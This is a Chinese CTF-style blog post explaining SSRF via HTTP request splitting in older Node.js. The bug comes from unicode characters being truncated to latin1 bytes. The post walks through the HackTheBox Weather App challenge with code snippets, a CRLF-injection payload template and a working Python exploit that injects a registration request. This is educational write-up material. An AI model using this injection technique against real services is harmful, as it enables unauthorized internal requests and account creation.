node.js下请求分割导致的ssrf

node.js下请求分割导致的ssrf

参考文章:

Security Bugs in Practice: SSRF via Request Splitting

知识点:
  • 对于不包含正文的请求(get delete),Node.js 默认使用“latin1”

For requests that do not include a body, Node.js defaults to using “latin1”, a single-byte encoding that cannot represent high-numbered unicode characters such as the 🐶 emoji.

  • JavaScript 具有 unicode 字符串,因此将它们转换为字节意味着选择并应用适当的 unicode 编码

Although users of the http module will typically specify the request path as a string, Node.js must ultimately output the request as raw bytes. JavaScript has unicode strings, so converting them into bytes means selecting and applying an appropriate unicode encoding.

总结

因为JavaScript 具有 unicode 字符串,所以js会将unicode字符串编码解析为对应的unicode字符。但是将这些字符作为get请求或者delete请求的一部分时(这类型的http请求不包含正文),js默认会以latin1编码去解析这些unicode编码,而latin1是单字节编码,不存在对应的unicode字符,所以这些unicode编码将会以单字节的形式出现。这时,如果这些unicode编码是精心构造的,那么这些单字节就有可能成为Http请求的控制字符,以此可以达到请求拆分的目的

简单理解为:

  • 用户传入精心构造的unicode编码
  • js在解释时以unicode字符串格式解释
  • 用户输入的字符串作为get请求的一部分执行
  • js解析该get请求时单独解析unicode字符的每个字节为http协议控制字符
代码复现
> v = "/caf\u{E9}\u{01F436}"	//用户输入字符串
'/café🐶'
> Buffer.from(v, 'latin1').toString('latin1')		//在作为get请求的一部分解析时单独解析unicode字符的每个字节
'/café=6'
> Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()
'http://example.com/\r\n/test'
漏洞靶场

HTB-Web-Weather App

部分关键代码
 async getWeather(res, endpoint, city, country) {

        // *.openweathermap.org is out of scope
        let apiKey = '10a62430af617a949055a46fa6dec32f';
        let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`); 
		....        
}
payload格式
endpoint = \
"""127.0.0.1/ HTTP/1.1
Host: 127.0.0.1

POST /api/weather HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Lenth:

username=*&password=*

GET """
ssrf部分exp
import requests
import urllib.parse

url = "http://157.245.45.1:30165"

username = "admin"
password = "admin"
contentLen = len(f"username={username}&password={password}")

endpoint = \
    f"""127.0.0.1/ HTTP/1.1
Host: 127.0.0.1

POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {contentLen}

username={username}&password={password}

GET /?mmp="""

city = "abandon"
country = "abandon"

endpoint = endpoint.replace(" ", "\u0120").replace("\n", f"\u0D0A")

data = {}
data.update({"endpoint": endpoint})
data.update({"city": city})
data.update({"country": country})

print(data)

response = requests.post(url=url+"/api/weather", data=data)
print(response.status_code)
node.js版本

存在请求分割的js版本是:

x < Node.js 10 or x <= Node.js 8

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值